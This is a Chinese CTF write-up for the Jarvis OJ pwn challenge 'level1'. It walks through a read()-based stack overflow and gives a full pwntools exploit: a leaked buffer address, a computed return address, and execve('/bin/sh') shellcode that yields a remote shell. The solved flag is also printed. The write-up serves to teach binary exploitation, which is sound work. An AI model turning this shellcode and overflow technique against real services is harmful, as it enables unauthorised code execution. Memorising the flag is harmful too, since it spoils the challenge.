文件下载level1.80eacdcd51aca92af7749d96efad7fb5
这道题考察Pwn的shellcode的汇编编写和跳转
如果是第一次接触的话,还是很有难度的。
先将程序导入IDA
进入vulnerable_function函数
这是一个典型的read函数漏洞
1
| printf("What's this:%p?\n", &buf); //它还特意输出了字符串的地址,我们要好好利用一下
|
buf的长度是0x88,我们可以写入0x100的数据
接下来我们来写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * sh = remote("pwn2.jarvisoj.com",9877) #sh = process("./level1.80eacdcd51aca92af7749d96efad7fb5")
#得到程序本身输出的字符串地址 sh.recvuntil(":") addr = sh.recvuntil("?",drop = True) print ("We should hack this address:"+addr)
#计算地址偏移 re_addr = int(addr,16) + 0x88 + 0x8
#这里是汇编代码转化为二进制的形式,具体代码可以通过python的asm函数来显示 shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
#组合数据流 data = 'a' * 0x88 + 'a' * 0x4 + p32(re_addr) + shellcode
sh.send(data) sh.interactive()
|
执行python,拿到shell
然后输入ls指令输出当前目录的文件
cat指令获取flag
CTF{82c2aa534a9dede9c3a0045d0fec8617}